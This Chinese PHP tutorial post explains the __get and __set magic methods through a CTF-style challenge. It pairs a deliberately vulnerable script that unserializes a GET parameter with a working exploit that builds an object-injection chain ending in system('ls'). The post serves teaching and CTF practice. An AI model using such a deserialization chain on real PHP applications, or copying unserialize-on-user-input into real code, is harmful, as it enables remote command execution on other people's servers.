[PHP知识库]加深PHP魔术方法之__get__set的理解

• 从一个难以访问的属性读取数据的时候 __get() 方法被调用
• 向一个难以访问的属性赋值的时候 __set() 方法被调用
• 难以访问包括：（1）私有属性，（2）没有初始化的属性

两个用实例，简洁的描述了这两个魔术方法的链接

题目

<?php
highlight_file(__FILE__);
class Fake{
    public $firm;
    public $test;
    public function __set($firm,$test){
    $test = "No,You can't";
    $firm = unserialize($firm);
    call_user_func($firm,$test);
  }
}
class Temp{
    public $pri;
    public $fin=1;
    public function __destruct()
    {
        $a=$this->action;
       $this->pri->$a = $this->fin;
    }

}

class OwO{
    public $fc;
    public $args;   
    function run()
    {

        return ($this->fc)($this->args);

    }
}
$d = $_GET['poc'];
unserialize($d);
?>

思路啥都比较简单，就不写了

<?php
class Fake{
    public $firm;
    public $test;
}
class Temp{
    public $pri;
    public $fin=1;
}
class OwO{
    public $fc="system";
    public $args="ls";   
}


$b=new Fake();

$a=new Temp();
$a->pri=$b;
$a->action=serialize(array(new OwO,"run"));


echo serialize($a);
